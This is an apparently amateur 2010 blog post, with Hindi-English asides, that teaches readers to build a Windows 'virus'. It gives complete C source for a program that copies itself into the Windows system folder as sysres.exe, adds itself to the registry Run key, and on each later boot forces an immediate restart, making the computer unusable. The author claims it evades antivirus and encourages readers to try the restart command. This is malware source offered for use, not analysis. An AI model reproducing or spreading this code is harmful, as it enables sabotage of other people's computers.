Site menu |
|
|
|
Our poll |
|
|
|
Online Users |
|
Total online: 4 Guests: 4 Users: 0
|
|
Search |
|
|
|
Entries archive |
|
|
|
Site friends |
|
|
|
|
Welcome, Guest · RSS |
2025-01-30, 2:13 AM |
Main » 2010 » January » 23 » Make Virus Of Your Own
9:56 PM Make Virus Of Your Own |
"make your virus for automaic restart of computer"
Today
I will show you how to create a virus that restarts the computer upon
every startup. That is, upon infection, the computer will get restarted
every time the system is booted. This means that the computer will
become inoperable since it reboots as soon as the desktop is loaded.
For
this, the virus need to be doubleclicked only once and from then
onwards it will carry out rest of the operations. And one more thing,
none of the antivirus softwares detect’s this as a virus since I have
coded this virus in C. So if you are familiar with C language then it’s
too easy to understand the logic behind the coding.
Here is the source code.
#include<stdio.h> #include<dos.h> #include<dir.h>
int found,drive_no;char buff[128];
void findroot() { int done; struct ffblk ffblk; //File block structure done=findfirst("C:\\windows\\system”,&ffblk,FA_DIREC); //to determine the root drive if(done==0) { done=findfirst("C:\\windows\\system\\sysres.exe”,&ffblk,0); //to determine whether the virus is already installed or not if(done==0) { found=1; //means that the system is already infected return; } drive_no=1; return; } done=findfirst("D:\\windows\\system”,&ffblk,FA_DIREC); if(done==0) { done=findfirst("D:\\windows\\system\\sysres.exe”,&ffblk,0); if (done==0) { found=1;return; } drive_no=2; return; } done=findfirst("E:\\windows\\system”,&ffblk,FA_DIREC); if(done==0) { done=findfirst("E:\\windows\\system\\sysres.exe”,&ffblk,0); if(done==0) { found=1; return; } drive_no=3; return; } done=findfirst("F:\\windows\\system”,&ffblk,FA_DIREC); if(done==0) { done=findfirst("F:\\windows\\system\\sysres.exe”,&ffblk,0); if(done==0) { found=1; return; } drive_no=4; return; } else exit(0); }
void main() { FILE *self,*target; findroot(); if(found==0) //if the system is not already infected { self=fopen(_argv[0],”rb”); //The virus file open’s itself switch(drive_no) { case 1: target=fopen("C:\\windows\\system\\sysres.exe”,”wb”); //to place a copy of itself in a remote place system("REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\ CurrentVersion\\Run \/v sres \/t REG_SZ \/d C:\\windows\\system\\ sysres.exe”); //put this file to registry for starup break;
case 2: target=fopen("D:\\windows\\system\\sysres.exe”,”wb”); system("REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\ CurrentVersion\\Run \/v sres \/t REG_SZ \/d D:\\windows\\system\\sysres.exe”); break;
case 3: target=fopen("E:\\windows\\system\\sysres.exe”,”wb”); system("REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\ CurrentVersion\\Run \/v sres \/t REG_SZ \/d E:\\windows\\system\\sysres.exe”); break;
case 4: target=fopen("F:\\windows\\system\\sysres.exe”,”wb”); system("REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\ CurrentVersion\\Run \/v sres \/t REG_SZ \/d F:\\windows\\system\\sysres.exe”); break;
default: exit(0); }
while(fread(buff,1,1,self)>0) fwrite(buff,1,1,target); fcloseall(); }
else system("shutdown -r -t 0″); //if the system is already infected then just give a command to restart }
ye to rahi technical baat agar pehle test karna ho without any compilation then folowing these step
Go to > RUN > type:
shutdown -r -t 0
your computer most probably restart suddenly after entering this command.
enjoy ...........
and haaan one thing i want to tell you that in whole coding there is puzzle for you :
puzzle is that there is command to set the timer for automatic restart in WINDOWStm XPtm so get set go.................
For further you can mail me or ask by posting here or by reply.
my next tip on .......
. .. . . . idon't knw but it is more interesting ...till then bye..
|
Views: 654 |
Added by: Handsome-Hunk
| Rating: 0.0/0 |
|